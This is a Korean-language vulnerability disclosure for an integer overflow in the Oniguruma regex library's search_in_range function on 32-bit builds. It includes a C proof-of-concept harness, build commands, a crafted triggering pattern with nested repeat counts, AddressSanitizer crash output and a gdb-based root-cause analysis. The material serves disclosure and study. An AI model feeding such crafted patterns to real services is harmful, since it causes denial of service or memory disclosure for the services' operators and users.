
6.9.4_rc2 이전의 Oniguruma 6.x에서 regexec.c의 search_in_range 함수에 존재하는 정수 오버플로는 경계를 벗어난 읽기(out-of-bounds read)로 이어집니다.
Oniguruma 6.x, 6.9.4_rc2 이전 버전에서 regexec.c의 search_in_range 함수에 발생한 정수 오버플로우로 인해 out-of-bounds 읽기가 발생하며, 이 읽기의 오프셋은 공격자가 제어할 수 있습니다. (32비트 컴파일 버전에만 영향이 있습니다.) 원격 공격자는 조작된 정규 표현식을 통해 서비스 거부(denial-of-service) 또는 정보 노출(information disclosure)을 유발하거나, 잠재적으로 기타 영향을 일으킬 수 있습니다.
연구자: The Tarantula Team, VinCSS(빈그룹 계열사) 소속 ManhND
Oniguruma는 K. Kosako가 만든 BSD 라이선스 정규 표현식 라이브러리로, 다양한 문자 인코딩을 지원합니다. Ruby 프로그래밍 언어 1.9 버전과 PHP의 멀티바이트 문자열 모듈(PHP5부터)은 Oniguruma를 정규 표현식 엔진으로 사용합니다. 또한 Atom, GyazMail, Take Command Console, Tera Term, TextMate, Sublime Text, SubEthaEdit 같은 제품에서도 사용됩니다.
다음은 C로 작성된 PoC입니다. 첫 번째 인자로 패턴을, 두 번째 인자로 매칭할 문자열을 받습니다.
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include "oniguruma.h"
static int
search(regex_t* reg, unsigned char* str, unsigned char* end)
{
int r;
unsigned char *start, *range;
OnigRegion *region;
region = onig_region_new();
start = str;
range = end;
r = onig_search(reg, str, end, start, range, region, ONIG_OPTION_NONE);
if (r >= 0 ) {
int i;
fprintf(stdout, "match at %d (%s)\n", r,
ONIGENC_NAME(onig_get_encoding(reg)));
for (i = 0; i < region->num_regs; i++) {
fprintf(stdout, "%d: (%d-%d)\n", i, region->beg[i], region->end[i]);
}
}
else if (r == ONIG_MISMATCH) {
fprintf(stdout, "search fail (%s)\n",
ONIGENC_NAME(onig_get_encoding(reg)));
}
else { /* error */
char s[ONIG_MAX_ERROR_MESSAGE_LEN];
onig_error_code_to_str((UChar* )s, r);
fprintf(stdout, "ERROR: %s\n", s);
fprintf(stdout, " (%s)\n", ONIGENC_NAME(onig_get_encoding(reg)));
onig_region_free(region, 1 /* 1:free self, 0:free contents only */);
return -1;
}
onig_region_free(region, 1 /* 1:free self, 0:free contents only */);
return 0;
}
int main(int argc, char* argv[])
{
int r;
regex_t* reg;
OnigErrorInfo einfo;
char *pattern = argv[1];
char *pattern_end = pattern + strlen(pattern);
OnigEncodingType *enc = ONIG_ENCODING_ASCII;
char* str = argv[2];
char* str_end = str+strlen(str);
onig_initialize(&enc, 1);
r = onig_new(®, (unsigned char *)pattern, (unsigned char *)pattern_end,
ONIG_OPTION_IGNORECASE, enc, ONIG_SYNTAX_DEFAULT, &einfo);
if (r != ONIG_NORMAL) {
char s[ONIG_MAX_ERROR_MESSAGE_LEN];
onig_error_code_to_str((UChar* )s, r, &einfo);
fprintf(stdout, "ERROR: %s\n", s);
onig_end();
if (r == ONIGERR_PARSER_BUG ||
r == ONIGERR_STACK_BUG ||
r == ONIGERR_UNDEFINED_BYTECODE ||
r == ONIGERR_UNEXPECTED_BYTECODE) {
return -2;
}
else
return -1;
}
if (onigenc_is_valid_mbc_string(enc, str, str_end) != 0) {
r = search(reg, str, str_end);
} else {
fprintf(stdout, "Invalid string\n");
}
onig_free(reg);
onig_end();
return 0;
}
Oniguruma와 PoC를 32비트로 컴파일합니다:
./configure CC=gcc CFLAGS="-m32 -O0 -ggdb3 -fsanitize=address" LDFLAGS="-m32 -O0 -ggdb3 -fsanitize=address" && make
gcc -m32 -fsanitize=address -O0 -I./oniguruma/src -ggdb3 PoC.c ./oniguruma/src/.libs/libonig.a -o PoC
버그를 트리거하려면 문자열 "x"와 "x{a}{b}0" 형식의 패턴을 제공하세요. 여기서 a와 b는 100000보다 작아야 합니다. 예를 들면:
root@manh-ubuntu16:~/fuzz/fuzz_oniguruma# ./PoC x{50000}{80000}0 x
ASAN:SIGSEGV
=================================================================
==4961==ERROR: AddressSanitizer: SEGV on unknown address 0xee5a5fdb (pc 0x080bf994 bp 0xffef2418 sp 0xffef23e0 T0)
#0 0x80bf993 in sunday_quick_search /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan-32/src/regexec.c:4831
#1 0x80c0685 in forward_search /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan-32/src/regexec.c:4956
#2 0x80c2830 in search_in_range /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan-32/src/regexec.c:5375
#3 0x80c17f4 in onig_search /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan-32/src/regexec.c:5168
#4 0x8048cc4 in search /root/fuzz/fuzz_oniguruma/poc-dmax-search-in-range.c:17
#5 0x8049536 in main /root/fuzz/fuzz_oniguruma/poc-dmax-search-in-range.c:78
#6 0xf7049636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)
#7 0x8048b00 (/root/fuzz/fuzz_oniguruma/poc-dmax-search-in-range+0x8048b00)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan-32/src/regexec.c:4831 sunday_quick_search
==4961==ABORTING
root@manh-ubuntu16:~/fuzz/fuzz_oniguruma#
참조 소스 코드 버전: ca7ddbd858dcdc8322d619cf41ab125a2603a0d4
근본 원인은 regex.c:5365 라인에서 발생하는 정수 오버플로우입니다:
5360 sch_range = (UChar* )range;
5361 if (reg->dmax != 0) {
5362 if (reg->dmax == INFINITE_LEN)
5363 sch_range = (UChar* )end;
5364 else {
5365 sch_range += reg->dmax; //// => overflow
5366 if (sch_range > end) sch_range = (UChar* )end;
5367 }
5368 }
reg->dmax가 충분히 큰 값을 가질 때 정수 오버플로우가 발생합니다. reg->dmax는 "x{<number>}y" 패턴에서 <number>와 같은 거리로 보입니다. 여기서 x는 임의의 문자, y는 숫자여야 합니다. 예를 들어 패턴 "a{1000}5"를 제공하면 reg->dmax = 1000입니다. "./PoC a{1000}5 b"를 실행한 다음 gdb 로그를 참조하세요:
root@manh-ubuntu16:~/fuzz/fuzz_oniguruma# gdb ./PoC
...
(gdb) b 61 # set breakpoint after onig_new
Breakpoint 1 at 0x804943d: file poc-dmax-search-in-range.c, line 61.
(gdb) r a{1000}0 b
Starting program: /root/fuzz/fuzz_oniguruma/PoC a{1000}0 b
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, main (argc=3, argv=0xffffd634) at poc-dmax-search-in-range.c:61
warning: Source file is more recent than executable.
61 if (r != ONIG_NORMAL) {
(gdb) p *reg
$1 = {ops = 0xf5b03760, ocs = 0xf5900be0, ops_curr = 0xf5b037b0, ops_used = 5,
ops_alloc = 8, string_pool = 0x0, string_pool_end = 0x0, num_mem = 0,
num_repeat = 1, num_empty_check = 0, num_call = 0, capture_history = 0,
push_mem_start = 0, push_mem_end = 0, empty_status_mem = 0,
stack_pop_level = 0, repeat_range_alloc = 4, repeat_range = 0xf6100f90,
enc = 0x8139e00 <OnigEncodingASCII>, options = 1,
syntax = 0x8127160 <OnigSyntaxOniguruma>, case_fold_flag = 1073741824,
name_table = 0x0, optimize = 2, threshold_len = 1001, anchor = 0,
anchor_dmin = 0, anchor_dmax = 0, sub_anchor = 0, exact = 0xf6500430 "0",
exact_end = 0xf6500431 "",
map = '\002' <repeats 48 times>, "\001", '\002' <repeats 207 times>,
map_offset = 1, dmin = 1000, dmax = 1000, extp = 0x0}
(gdb)
"x{<number>}y" 형식의 패턴에서 dmax는 최대 100000 값을 가집니다. 반복 횟수는 100000(ONIG_MAX_REPEAT_NUM)보다 클 수 없기 때문입니다. 그러나 "x{<number1>}{<number2>}y" 형식의 패턴을 제공하면 reg->dmax = number1 * number2가 됩니다. 이 곱셈은 다음 코드(regcomp.c:6157)에서 수행됩니다:
6156 else {
6157 max = distance_multiply(xo.len.max, qn->upper); //// => multiply into dmax
6158 }
"./PoC a{1000}{2}5 b"를 실행한 다음 gdb 로그를 참조하세요:
(gdb) r a{1000}{2}5 b
...
Breakpoint 1, main (argc=3, argv=0xffffd634) at poc-dmax-search-in-range.c:61
61 if (r != ONIG_NORMAL) {
(gdb) p *reg
$3 = {ops = 0xf5b03760, ocs = 0xf5900be0, ops_curr = 0xf5b037b0, ops_used = 5,
ops_alloc = 8, string_pool = 0x0, string_pool_end = 0x0, num_mem = 0,
num_repeat = 1, num_empty_check = 0, num_call = 0, capture_history = 0,
push_mem_start = 0, push_mem_end = 0, empty_status_mem = 0,
stack_pop_level = 0, repeat_range_alloc = 4, repeat_range = 0xf6100f90,
enc = 0x8139e00 <OnigEncodingASCII>, options = 1,
syntax = 0x8127160 <OnigSyntaxOniguruma>, case_fold_flag = 1073741824,
name_table = 0x0, optimize = 2, threshold_len = 2001, anchor = 0,
anchor_dmin = 0, anchor_dmax = 0, sub_anchor = 0, exact = 0xf6500430 "5",
exact_end = 0xf6500431 "",
map = '\002' <repeats 53 times>, "\001", '\002' <repeats 202 times>,
map_offset = 1, dmin = 2000, dmax = 2000, extp = 0x0}
(gdb)
게다가 반복 횟수는 원하는 만큼 중첩할 수 있습니다:
"x{n1}{n2}...{nk}5" => dmax = n1 * n2 * ... * nk